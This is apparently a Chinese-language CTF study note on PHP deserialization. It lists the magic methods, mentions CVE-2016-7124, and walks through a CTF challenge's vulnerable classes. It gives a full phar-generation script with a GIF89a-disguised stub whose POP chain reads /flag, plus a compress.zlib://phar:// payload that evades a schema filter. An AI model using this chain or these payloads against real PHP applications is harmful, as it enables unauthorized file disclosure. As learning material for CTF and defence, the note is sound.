前言:我要當賽棍!!!
知只是簡單列出便於複習,具體的用法可以檢視下面參考文獻當中的PHP之十六個魔術方法詳解
__construct()
,類別建構函式
__destruct()
,類的解構函式
__call()
,在物件上下文中呼叫不可存取的方法時觸發
__callStatic()
,用靜態方式中呼叫一個不可存取方法時呼叫
__get()
,用於從不可存取的屬性讀取資料
__set()
,用於將資料寫入不可存取的屬性
__isset()
,在不可存取的屬性上呼叫isset()或empty()觸發
__unset()
,在不可存取的屬性上使用unset()時觸發
__sleep()
,執行serialize()時,先會呼叫這個函數
__wakeup()
,執行unserialize()時,先會呼叫這個函數
__toString()
,類被當成字串時的迴應方法
__invoke()
,當指令碼嘗試將物件呼叫為函數時觸發
__set_state()
,呼叫var_export()匯出類時,此靜態方法會被呼叫
__clone()
,當物件複製完成時呼叫
__autoload()
,嘗試載入未定義的類
__debugInfo()
,列印所需偵錯資訊
5.6.25
之前以及7.0.10
之前的7.x版本[漏洞利用] CVE-2016-7124 漏洞復現(總結自一CTF題目)
這時候我們可以利用compress.zlib://
或compress.bzip2://
函數,compress.zlib://
和compress.bzip2://
同樣適用於phar://
。
payload
: compress.zlib://phar://phar.phar/test.txt
這道題是原始碼洩露有類,有上傳,有檔案讀取,很明顯的Phar反序列化,下面展示出關鍵原始碼
Reader類
Class Reader{
public $filename;
public $result;
public function read($filename){
if (preg_match("/flag/i",$filename)){
die("想多了嗷");
}
if (preg_match("/sh/i",$filename)){
die("nooooooooooo!");
}
if (preg_match("/^php|^file|^gopher|^http|^https|^ftp|^data|^phar|^smtp|^dict|^zip/i",$filename)){
die("Invid Schema!");
}
echo file_get_contents($filename);
}
public function __set($name,$val){
echo file_get_contents($val);
}
}
dbCtrl類
class dbCtrl
{
public $token;
public function __construct()
{
$this->name=$_POST['username'];
$this->password=$_POST['password'];
}
public function __destruct(){
echo $this->token;
}
}
User類
class User
{
public $id;
public $age=null;
public $nickname=null;
public $backup;
public function read(){
$reader=new reader();
$reader->read($_POST['filename']);
}
public function __toString()
{
$this->nickname->backup=$this->backup;
$user = new User();
$user->id = $_SESSION['id'];
$user->nickname = $_SESSION['token'];
return serialize($user);
}
}
簡單分析:
首先dbCtrl類物件在銷燬後會呼叫echo
函數,如果我們將token
賦值為User類
則會呼叫其中的__toString
方法,利用nickname = new Reader()
在執行$this->nickname->backup=$this->backup;
的時候由於其沒有backup屬性所以__set
方法會被呼叫
<?php
class User
{
public $id;
public $age=null;
public $nickname=null;
public $backup;
public function __construct()
{
$this->nickname = new Reader();
$this->backup = "/flag";
}
}
class dbCtrl
{
public $token;
public function __construct()
{
$this->token = new User;
}
}
Class Reader{
public $filename;
public $result;
}
$y1ng = new dbCtrl();
$phar = new Phar("ichunqiu.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($y1ng);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
@rename("ichunqiu.phar", "1.txt");
上傳得到路徑,因為讀檔案時對schema有過濾,利用壓縮過濾器觸發phar即可:compress.zlib://phar:///var/www/html/upload/某個md5.txt
PHP序列化與反序列化(大比武_CTF課_第四天)
從CTF中學習PHP反序列化的各種利用方式
PHP之十六個魔術方法詳解